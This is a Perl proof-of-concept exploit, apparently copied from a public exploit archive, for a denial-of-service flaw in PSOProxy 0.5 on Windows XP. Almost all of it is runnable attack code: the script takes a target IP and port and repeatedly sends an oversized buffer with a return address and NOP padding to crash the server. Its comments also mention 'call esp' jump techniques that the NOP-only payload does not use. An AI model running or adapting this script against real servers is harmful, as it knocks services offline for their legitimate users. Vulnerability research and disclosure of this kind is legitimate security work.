Exploit for PSOProxy 0.5 Denial Of Service

## https://sploitus.com/exploit?id=PACKETSTORM:176445
#!/usr/bin/perl  
  
use IO::Socket::INET;  
  
# Exploit Title: PSOProxy 0.5 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 10 january 2024  
# Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/  
# Download to demo: https://drive.google.com/file/d/1GC2GWGOx9Z1vWT_mxnGXHuTptuHa7lIp/view?usp=sharing  
# Download to demo 2: https://drive.google.com/file/d/1DHQ1sZL3mqlqFWn50eq7FLVtzX3E6qgC/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: PSOProxy 0.5  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=0uuUqfpRbHM  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to web server.  
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "\t ==> Connecting to webserver... \n\n";  
sleep(1);  
  
my $i=0;  
print "\t ==> Exploiting... \n\n";  
while ($i <= 9) {  
my $sock = IO::Socket::INET->new(  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp',  
) or die "Cannot connect to $ip:$port: $!\n";  
  
my $buffer = "A" x 3000;  
my $shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" .  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";  
  
$buffer .= "\x0F\x98\xF8\x77" . $shellcode;  
  
print $sock $buffer . "\r\n";  
close($sock);  
  
$i++;  
}  
  
print "\t ==> Done! Exploited!";  
sub intro {  
print q {  
  
,--,  
_ ___/ /\|  
,;'( )__, ) ~  
// // '--;   
' \ | ^  
^ ^  
  
[+] PSOProxy 0.5 - Denial of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: fernando.mengalli@gmail.com  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print "\n\tUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated